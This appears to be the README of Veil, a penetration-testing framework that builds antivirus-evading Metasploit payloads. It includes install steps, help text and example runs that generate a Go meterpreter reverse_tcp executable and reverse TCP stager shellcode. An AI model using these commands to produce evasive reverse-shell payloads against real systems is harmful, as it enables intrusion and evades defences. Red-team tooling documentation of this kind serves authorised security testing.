Skip to content


Switch branches/tags


Veil Logo

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

Veil is current under support by @ChrisTruncer

Software Requirements:

The following OSs are officially supported:

  • Debian 8+
  • Kali Linux Rolling 2018.1+

The following OSs are likely able to run Veil:

  • Arch Linux
  • Manjaro Linux
  • BlackArch Linux
  • Deepin 15+
  • Elementary
  • Fedora 22+
  • Linux Mint
  • Parrot Security
  • Ubuntu 15.10+
  • Void Linux


Kali's Quick Install

apt -y install veil
/usr/share/veil/config/ --force --silent

Git's Quick Install


  • Installation must be done with superuser privileges. If you are not using the root account (as default with Kali Linux), prepend commands with sudo or change to the root user before beginning.
  • Your package manager may be different to apt. You will also need an X server running, either on the system itself, or on your local system.
sudo apt-get -y install git
git clone
cd Veil/
./config/ --force --silent

./config/ // Setup Files

This file is responsible for installing all the dependences of Veil. This includes all the WINE environment, for the Windows side of things. It will install all the necessary Linux packages and GoLang, as well as Python, Ruby and AutoIT for Windows. In addition, it will also run ./config/ for your environment.

It includes two optional flags, --force and --silent:

--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update.
--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user.

This can be ran either by doing: ./ --setup OR ./config/ --force.

./config/ // Regenerating Configuration file

This will generate the output file for /etc/veil/ Most of the time it will not need to be rebuilt but in some cases you might be prompted to do so (such as a major Veil update).

It is important that you are in the ./config/ directory before executing If you are not, /etc/veil/ will be incorrect and when you launch Veil you will see the following:

    Main Menu

            0 payloads loaded

Don't panic. Run either: ./ --config OR cd ./config/; ./


NOTE: Using Py2Exe is recommended over PyInstaller (as it has a lower detection rate).

MANUALLY Install on a Windows Computer (as this isn't done by Veil's setup):

Example Usage

Veil's Main Menu:

$ ./
                             Veil | [Version]: 3.1.6
      [Web]: | [Twitter]: @VeilFramework

Main Menu

  2 tools loaded

Available Tools:

  1)  Evasion
  2)  Ordnance

Available Commands:

  exit      Completely exit Veil
  info      Information on a specific tool
  list      List available tools
  options     Show Veil configuration
  update      Update Veil
  use     Use a specific tool



$ ./ --help
usage: [--list-tools] [-t TOOL] [--update] [--setup] [--config]
               [--version] [--ip IP] [--port PORT] [--list-payloads]
               [-p [PAYLOAD]] [-o OUTPUT-NAME]
               [-c [OPTION=value [OPTION=value ...]]]
               [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
               [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
               [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]

Veil is a framework containing multiple tools.

[*] Veil Options:
  --list-tools          List Veil's tools
  -t TOOL, --tool TOOL  Specify Veil tool to use (Evasion, Ordnance etc.)
  --update              Update the Veil framework
  --setup               Run the Veil framework setup file & regenerate the
  --config              Regenerate the Veil framework configuration file
  --version             Displays version and quits

[*] Callback Settings:
  --ip IP, --domain IP  IP address to connect back to
  --port PORT           Port number to connect to

[*] Payload Settings:
  --list-payloads       Lists all available payloads for that tool

[*] Veil-Evasion Options:
  -p [PAYLOAD]          Payload to generate
  -o OUTPUT-NAME        Output file base name for source and compiled binaries
  -c [OPTION=value [OPTION=value ...]]
                        Custom payload module options
  --msfoptions [OPTION=value [OPTION=value ...]]
                        Options for the specified metasploit payload
  --msfvenom []         Metasploit shellcode to generate (e.g.
                        windows/meterpreter/reverse_tcp etc.)
  --compiler pyinstaller
                        Compiler option for payload (currently only needed for
  --clean               Clean out payload folders

[*] Veil-Ordnance Shellcode Options:
  --ordnance-payload PAYLOAD
                        Payload type (bind_tcp, rev_tcp, etc.)

[*] Veil-Ordnance Encoder Options:
  --list-encoders       Lists all available encoders
  -e ENCODER, --encoder ENCODER
                        Name of shellcode encoder to use
  -b \x00\x0a.., --bad-chars \x00\x0a..
                        Bad characters to avoid
  --print-stats         Print information about the encoded shellcode

Veil Evasion CLI

$ ./ -t Evasion -p go/meterpreter/ --ip --port 4444
      [Web]: | [Twitter]: @VeilFramework

      [Web]: | [Twitter]: @VeilFramework

 [*] Language: go
 [*] Payload Module: go/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
 [*] Source code written to: /var/lib/veil/output/source/payload.go
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Veil Ordnance CLI

$ ./ -t Ordnance --ordnance-payload rev_tcp --ip --port 4444
      [Web]: | [Twitter]: @VeilFramework

 [*] Payload Name: Reverse TCP Stager (Stage 1)
 [*] IP Address:
 [*] Port: 4444
 [*] Shellcode Size: 287



This project is licensed under the GNU General Public License v3 license.